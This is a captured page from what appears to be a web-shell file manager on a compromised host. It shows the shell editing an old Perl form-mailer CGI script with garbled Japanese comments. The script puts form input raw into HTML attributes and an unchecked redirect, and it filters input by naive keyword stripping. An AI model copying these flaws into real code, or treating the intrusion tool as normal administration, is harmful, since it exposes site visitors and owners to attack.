🚀 Advanced Web Server Manager
Complete File Manager & Terminal - Standalone Version
By Sid Gifari | Gifari Industries
Current path:
/
/
home
/
users
/
2
/
fujibow
/
web
/
@180914
/
cgi-bin
✏️
Editing: form.cgi
#!/usr/bin/perl ;# WebFORM v4.0 is Free. (SJIS�d�l) ;# ;# (c)rescue.ne.jp ;# http://www.rescue.ne.jp/ ;# Customized v040817 ;# �l�b�g�T�[�t���X�L���[���K���Ɠo�^��725�� ;# �{�X�N���v�g��(��)�鍑�f�[�^�o���N�l�b�g�R�~���j�P�[�V������ ;# �ݒu����ȊO�͂����p�ɂȂ�܂���B ;# Hostory ;# 06/Jun/1998 v3.0 �Z�L�����e�B���� ;# 08/Aug/1998 v3.1 �J�[�{���R�s�[�������P ;# 29/Oct/1998 v4.0 �J�[�{���R�s�[�����̓Z�L�����e�B�̖��Ŕp�~ require 'jcode.pl'; $sendmail = '/usr/sbin/sendmail'; #���������M�惁�[���A�h���X $mailto = 'watanabe@tdb-netcom.jp'; #���������M�����[���A�h���X #sendmail�̔z���G���[�̒ʒm�Ȃǂ��͂��A�h���X #�ʏ�͑��M�惁�[���A�h���X�Ɠ����ɂ��Ă��� $mailfrom = $mailto; ###################################################### #�����Ȃ��̏ꍇ $subject = ""; #�^�C�g���Ȃ��̏ꍇ $title = ""; #jumpto�Ȃ� $lct = "../index.html"; #�Ȃ��̏ꍇ $emailcheck = "off"; $confirm = "on"; #e-mail�G���[ $emailerror= '0'; #�f�t�H���g�f�U�C�� $body = "<body bgcolor=#ffffff>"; $tabledesign0 = "<table border=0 width=550><tr><td>"; $tabledesign = "<table border=0 cellpadding=3 cellspacing=3>"; $tddesign1 = "#ffffff"; $tddesign2 = "#ffffff"; #�p�����[�^�擾 if ($ENV{'REQUEST_METHOD'} ne "POST") { &error('�G���[',''); } read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); if ($buffer eq '') { &error('�G���[',''); } $ref = $ENV{'HTTP_REFERER'}; $buffer2 = $ENV{'QUERY_STRING'}; if ($buffer2 ne '') { &error('�G���[',''); } #�f�R�[�h @pairs = split(/&/,$buffer); foreach $pair (@pairs) { ($name,$value) = split(/=/,$pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg; $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg; &jcode'convert(*name,'sjis'); &jcode'convert(*value,'sjis'); if ($value =~ /\r\n/) { $value =~ s/\r//g; } elsif ($value =~ /\r/) { $value =~ s/\r/\n/g; } if ($name =~ /hissu_/i) { $name =~ s/hissu_//; $name =~ s/HISSU_//; if ($value eq "") { ++$hissuflag; } } if ($name eq "jumpto") { $lct = $value; } elsif ($name eq "confirm") { $confirm = $value; } elsif ($name eq "emailcheck") { $emailcheck = $value; } elsif ($name eq "subject") { $subject = $value; } elsif ($name eq "conf_title") { $title = $value ; } elsif ($name eq "conf_body") { if ($value ne ""){$body = '<body ' . $value .'>'; } } elsif ($name eq "conf_tdesign0") { if ($value ne "" ){ $tabledesign0 = '<table ' . $value . '><tr><td>'; } } elsif ($name eq "conf_tdesign") { if ($value ne "" ){ $tabledesign = '<table ' . $value . '>'; } } elsif ($name eq "conf_tddesign1") { $tddesign1 = $value; } elsif ($name eq "conf_tddesign2") { $tddesign2 = $value; } elsif ($name =~ /send/i or $name =~ /submit/i) { $name = "" ; $value = ""; } elsif ($name eq "invisible") { $invisible = $value; push(@DATA_N,$name); push(@DATA_V,$value); } else { if ($name =~ /^email/i || $name =~ /^e\-mail/i) { $value =~ s/�@/ /g; if ($value =~ / / || $value =~ /;/) { $value = "";} if (!($value =~ /.+\@+.\..+/)) { $emailerror='1'; } $email = $value; } push(@DATA_N,$name); push(@DATA_V,$value); $name =~ s/\</</g; $value =~ s/\</</g; $name =~ s/\>/>/g; $value =~ s/\>/>/g; $name =~ s/\"/"/g; $value =~ s/\"/"/g; $name =~ s/script//ig; $value =~ s/script//ig; $name =~ s/onclick//ig; $value =~ s/onclick//ig; $name =~ s/href//ig; $value =~ s/href//ig; $name =~ s/src//ig; $value =~ s/src//ig; $name =~ s/\;//ig; $value =~ s/\;//ig; push(@DATA_NS,$name); push(@DATA_VS,$value); } } #���̓`�F�b�N if ($hissuflag >=1) { &error('�K�{���͍��ڂŖ����͂̂�̂�����܂��B',''); } if ($emailerror eq '1' && $emailcheck eq 'on' && $email ne ''){ &error('�d���[���̏���������������܂���B','');$emailerror = '0'; } #if (!$mailcheck && $email eq '') { &error('�d���[�������͂���Ă��܂���B',''); } #if ($email eq '') { $email = 'no-email@otoiawase.form'; $noemailmssg = '�����̑��M���A�h���X�̓_�~�[�ł��B�ԐM���Ȃ��ł��������B��'; } #if ($spcheck eq "on") { foreach (@DATA_V) { if ($_ eq "") { &error('�S�Ă̍��ڂ�͂��Ă��������B',''); } }} if ($mailto eq '' || !($mailto =~ /(.*)\@(.*)\.(.*)/)) { &error('���M�惁�[���A�h���X���ݒ肳��Ă��܂���B',''); } if ($confirm ne "on") { &sendmail; } ###################################################### #��e�m�F��ʏo�� print "Content-type: text/html\n\n"; print " <html><head><title>$title</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=Shift_JIS\"></head> $body $tabledesign0 <center> <h3>���M��e��m�F���������B</h3> <form method=\"post\" action=\"form.cgi\"> <blockquote> $tabledesign "; $count = @DATA_NS; foreach (0..$count-1) { print "<input type=hidden name=\"$DATA_NS[($_)]\" value=\"$DATA_VS[($_)]\">\n"; print "<tr><td $tddesign1>$DATA_NS[($_)]<br></td>"; if ($DATA_VS[($_)] =~ /\n/) { print "<td $tddesign2><pre>$DATA_VS[($_)]�@�@</pre></td></tr>\n"; } else { print "<td $tddesign2>$DATA_VS[($_)]�@�@</td></tr>\n"; } print "</td></tr>\n"; } print "</table></blockquote><p>\n"; if ($lct ne "") { print "<input type=hidden name=\"jumpto\" value=\"$lct\">\n"; } print "<input type=hidden name=\"confirm\" value=\"off\">\n"; if ($subject ne "") { print "<input type=hidden name=\"subject\" value=\"$subject\">\n"; }if ($emailcheck ne "") {print "<input type=hidden name=\"emailcheck\" value=\"emailcheck\">\n"; } if ($invisible ne "") { print "<input type=hidden name=\"invisible\" value=\"$invisible\">\n"; } if ($email eq '' && $emailcheck eq 'on') { print "<font size=+2><b>���[���A�h���X��͂��Ȃ��Ƒ��M�ł��܂���</b></font><p>\n"; } else { print "<input type=submit value=\"�@���M�@\">�@�@�@�@<input type=button value=\"�@�߂�@\" onClick=\"history.back()\"> <p>\n"; } print "</form><p><hr>\n"; print "</td></tr></table><p></body></html>\n"; exit; ###################################################### sub sendmail { $email =~ s/\n//g; # �����`�F�b�N if (length($email) > 255) { &error('�G���[','���[���A�h���X�̒���������255�o�C�g�܂łł�.'); } if ($email =~ /\,/) { &error('�G���[','���[���A�h���X�𐳂����P���͂��Ȃ��Ƒ��M�ł��܂���.'); } $subject =~ s/\n//g; # �����`�F�b�N if (length($subject) > 255) { &error('�G���[','���[���薼�̒���������255�o�C�g(�S�p�͂��̔���)�܂łł�.'); } if (!(open(OUT,"| $sendmail -t -f$mailfrom"))) { &error('�G���[','���݂����p�ɂȂ�܂���B'); } print OUT "X-Mailer: \n"; print OUT "X-HTTP_REFERER: $ref\n"; print OUT "Errors-To: $mailto\n"; print OUT "To: $mailto\n"; print OUT "From: $mailfrom\n"; &jis("Subject: $subject"); print OUT "$msg\n"; print OUT "Content-Transfer-Encoding: 7bit\n"; print OUT "Content-Type: text/plain\; charset=\"ISO-2022-JP\"\n\n\n"; $count = @DATA_N; foreach (0..$count-1) { if ($DATA_V[$_] =~ /\n/) { &jis("$DATA_N[$_] =\n\n$DATA_V[$_]\n"); print OUT "$msg\n"; } else { &jis("$DATA_N[$_] = $DATA_V[$_]"); print OUT "$msg\n"; } } close(OUT); if ($lct ne '') { print "Location: $lct\n\n"; } exit; } ###################################################### sub jis { $msg = $_[0]; &jcode'convert(*msg, 'jis'); } ###################################################### sub error { print "Content-type: text/html\n\n"; print "<html><head><title>$title</title></head>\n"; print "$body\n"; print "<center><h3>$_[0]</h3>\n"; print "<h5>$_[1]</h5>\n"; if ($ref eq '') { # print "�G���[<br>\n"; print "�u���E�U��[�߂�]�{�^���ł��߂肭�������B<p>\n"; } else { # print "�G���[<br>\n"; print "�u���E�U��[�߂�]�{�^���ł��߂肭�������B<p>\n"; } print "<p></body></html>\n"; exit; } ######################################################
💾 Save Changes
❌ Cancel